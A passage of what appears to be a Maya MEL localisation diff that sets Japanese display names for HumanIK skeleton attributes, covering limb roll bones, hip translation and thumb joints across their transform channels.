"HIKState2SK", "LeftUpLegRollPGX", "左大腿部ロールの PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollROrder", "左大腿部ロールの回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollSC", "左大腿部ロール SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollIS", "左大腿部ロール IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollISx", "左大腿部ロール ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollISy", "左大腿部ロール ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollISz", "左大腿部ロール ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollPreR", "左大腿部ロールのプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollPreRx", "左大腿部ロールのプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollPreRy", "左大腿部ロールのプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollPreRz", "左大腿部ロールのプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollPostR", "左大腿部ロールのポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollPostRx", "左大腿部ロールのポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollPostRy", "左大腿部ロールのポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollPostRz", "左大腿部ロールのポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollT", "左脚ロール T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollTx", "左脚ロール Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollTy", "左脚ロール Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollTz", "左脚ロール Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollR", "左脚ロール R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollRx", "左脚ロール Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollRy", "左脚ロール Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollRz", "左脚ロール Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollS", "左脚ロール S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollSx", "左脚ロール Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollSy", "左脚ロール Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollSz", "左脚ロール Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollPGX", "左脚ロールの PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollROrder", "左脚ロールの回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollSC", "左脚ロール SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollIS", "左脚ロール IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollISx", "左脚ロール ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollISy", "左脚ロール ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollISz", "左脚ロール ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollPreR", "左脚ロールのプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollPreRx", "左脚ロールのプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollPreRy", "左脚ロールのプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollPreRz", "左脚ロールのプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollPostR", "左脚ロールのポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollPostRx", "左脚ロールのポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollPostRy", "左脚ロールのポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollPostRz", "左脚ロールのポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollT", "右大腿部ロール T" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollTx", "右大腿部ロール Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollTy", "右大腿部ロール Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollTz", "右大腿部ロール Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollR", "右大腿部ロール R" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollRx", "右大腿部ロール Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollRy", "右大腿部ロール Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollRz", "右大腿部ロール Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollS", "右大腿部ロール S" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollSx", "右大腿部ロール Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollSy", "右大腿部ロール Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollSz", "右大腿部ロール Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollPGX", "右大腿部ロールの PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollROrder", "右大腿部ロールの回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollSC", "右大腿部ロール SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollIS", "右大腿部ロール IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollISx", "右大腿部ロール ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollISy", "右大腿部ロール ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollISz", "右大腿部ロール ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollPreR", "右大腿部ロールのプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollPreRx", "右大腿部ロールのプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollPreRy", "右大腿部ロールのプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollPreRz", "右大腿部ロールのプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollPostR", "右大腿部ロールのポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollPostRx", "右大腿部ロールのポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollPostRy", "右大腿部ロールのポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollPostRz", "右大腿部ロールのポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollT", "右脚ロール T" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollTx", "右脚ロール Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollTy", "右脚ロール Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollTz", "右脚ロール Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollR", "右脚ロール R" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollRx", "右脚ロール Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollRy", "右脚ロール Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollRz", "右脚ロール Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollS", "右脚ロール S" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollSx", "右脚ロール Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollSy", "右脚ロール Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollSz", "右脚ロール Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollPGX", "右脚ロールの PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollROrder", "右脚ロールの回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollSC", "右脚ロール SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollIS", "右脚ロール IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollISx", "右脚ロール ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollISy", "右脚ロール ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollISz", "右脚ロール ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollPreR", "右脚ロールのプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollPreRx", "右脚ロールのプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollPreRy", "右脚ロールのプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollPreRz", "右脚ロールのプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollPostR", "右脚ロールのポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollPostRx", "右脚ロールのポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollPostRy", "右脚ロールのポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollPostRz", "右脚ロールのポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollT", "左腕のロール T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollTx", "左腕のロール Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollTy", "左腕のロール Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollTz", "左腕のロール Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollR", "左腕のロール R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollRx", "左腕のロール Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollRy", "左腕のロール Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollRz", "左腕のロール Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollS", "左腕のロール S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollSx", "左腕のロール Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollSy", "左腕のロール Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollSz", "左腕のロール Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollPGX", "左腕のロールの PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollROrder", "左腕のロールの回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollSC", "左腕のロール SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollIS", "左腕のロール IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollISx", "左腕のロール ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollISy", "左腕のロール ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollISz", "左腕のロール ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollPreR", "左腕のロールのプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollPreRx", "左腕のロールのプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollPreRy", "左腕のロールのプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollPreRz", "左腕のロールのプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollPostR", "左腕のロールのポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollPostRx", "左腕のロールのポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollPostRy", "左腕のロールのポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollPostRz", "左腕のロールのポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollT", "左前腕のロール T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollTx", "左前腕のロール Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollTy", "左前腕のロール Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollTz", "左前腕のロール Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollR", "左前腕のロール R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollRx", "左前腕のロール Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollRy", "左前腕のロール Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollRz", "左前腕のロール Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollS", "左前腕のロール S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollSx", "左前腕のロール Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollSy", "左前腕のロール Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollSz", "左前腕のロール Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollPGX", "左前腕のロールの PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollROrder", "左前腕のロールの回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollSC", "左前腕のロール SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollIS", "左前腕のロール IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollISx", "左前腕のロール ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollISy", "左前腕のロール ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollISz", "左前腕のロール ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollPreR", "左前腕のロールのプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollPreRx", "左前腕のロールのプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollPreRy", "左前腕のロールのプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollPreRz", "左前腕のロールのプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollPostR", "左前腕のロールのポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollPostRx", "左前腕のロールのポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollPostRy", "左前腕のロールのポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollPostRz", "左前腕のロールのポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollT", "右腕のロール T" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollTx", "右腕のロール Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollTy", "右腕のロール Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollTz", "右腕のロール Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollR", "右腕のロール R" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollRx", "右腕のロール Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollRy", "右腕のロール Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollRz", "右腕のロール Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollS", "右腕のロール S" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollSx", "右腕のロール Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollSy", "右腕のロール Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollSz", "右腕のロール Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollPGX", "右腕のロールの PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollROrder", "右腕のロールの回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollSC", "右腕のロール SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollIS", "右腕のロール IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollISx", "右腕のロール ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollISy", "右腕のロール ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollISz", "右腕のロール ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollPreR", "右腕のロールのプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollPreRx", "右腕のロールのプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollPreRy", "右腕のロールのプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollPreRz", "右腕のロールのプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollPostR", "右腕のロールのポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollPostRx", "右腕のロールのポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollPostRy", "右腕のロールのポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollPostRz", "右腕のロールのポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollT", "右前腕のロール T" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollTx", "右前腕のロール Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollTy", "右前腕のロール Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollTz", "右前腕のロール Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollR", "右前腕のロール R" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollRx", "右前腕のロール Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollRy", "右前腕のロール Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollRz", "右前腕のロール Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollS", "右前腕のロール S" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollSx", "右前腕のロール Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollSy", "右前腕のロール Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollSz", "右前腕のロール Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollPGX", "右前腕のロールの PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollROrder", "右前腕のロールの回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollSC", "右前腕のロール SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollIS", "右前腕のロール IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollISx", "右前腕のロール ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollISy", "右前腕のロール ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollISz", "右前腕のロール ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollPreR", "右前腕のロールのプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollPreRx", "右前腕のロールのプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollPreRy", "右前腕のロールのプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollPreRz", "右前腕のロールのプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollPostR", "右前腕のロールのポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollPostRx", "右前腕のロールのポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollPostRy", "右前腕のロールのポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollPostRz", "右前腕のロールのポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationT", "ヒップの移動 T" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationTx", "ヒップの移動 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationTy", "ヒップの移動 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationTz", "ヒップの移動 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationR", "ヒップの移動 R" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationRx", "ヒップの移動 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationRy", "ヒップの移動 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationRz", "ヒップの移動 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationS", "ヒップの移動 S" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationSx", "ヒップの移動 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationSy", "ヒップの移動 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationSz", "ヒップの移動 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationPGX", "ヒップの移動の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationROrder", "ヒップの移動の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationSC", "ヒップの移動 SC" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationIS", "ヒップの移動 IS" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationISx", "ヒップの移動 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationISy", "ヒップの移動 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationISz", "ヒップの移動 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationPreR", "ヒップのトランスレーションのプリR" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationPreRx", "ヒップの移動のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationPreRy", "ヒップの移動のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationPreRz", "ヒップの移動のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationPostR", "ヒップの移動のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationPostRx", "ヒップの移動のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationPostRy", "ヒップの移動のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationPostRz", "ヒップの移動のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1T", "左手親指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1Tx", "左手親指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1Ty", "左手親指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1Tz", "左手親指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1R", "左手親指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1Rx", "左手親指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1Ry", "左手親指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1Rz", "左手親指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1S", "左手親指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1Sx", "左手親指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1Sy", "左手親指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1Sz", "左手親指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1PGX", "左手親指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1ROrder", "左手親指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1SC", "左手親指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1IS", "左手親指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1ISx", "左手親指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1ISy", "左手親指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1ISz", "左手親指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1PreR", "左手親指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1PreRx", "左手親指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1PreRy", "左手親指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1PreRz", "左手親指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1PostR", "左手親指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1PostRx", "左手親指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1PostRy", "左手親指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1PostRz", "左手親指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2T", "左手親指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2Tx", "左手親指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2Ty", "左手親指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2Tz", "左手親指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2R", "左手親指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2Rx", "左手親指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2Ry", "左手親指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2Rz", "左手親指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2S", "左手親指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2Sx", "左手親指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2Sy", "左手親指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2Sz", "左手親指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2PGX", "左手親指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2ROrder", "左手親指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2SC", "左手親指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2IS", "左手親指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2ISx", "左手親指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2ISy", "左手親指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2ISz", "左手親指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2PreR", "左手親指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2PreRx", "左手親指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2PreRy", "左手親指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2PreRz", "左手親指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2PostR", "左手親指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2PostRx", "左手親指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2PostRy", "左手親指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2PostRz", "左手親指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3T", "左手親指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3Tx", "左手親指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3Ty", "左手親指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3Tz", "左手親指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3R", "左手親指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3Rx", "左手親指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3Ry", "左手親指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3Rz", "左手親指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3S", "左手親指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3Sx", "左手親指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3Sy", "左手親指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3Sz", "左手親指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3PGX", "左手親指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3ROrder", "左手親指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3SC", "左手親指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3IS", "左手親指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3ISx", "左手親指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3ISy", "左手親指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3ISz", "左手親指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3PreR", "左手親指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3PreRx", "左手親指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3PreRy", "左手親指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3PreRz", "左手親指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3PostR", "左手親指 3 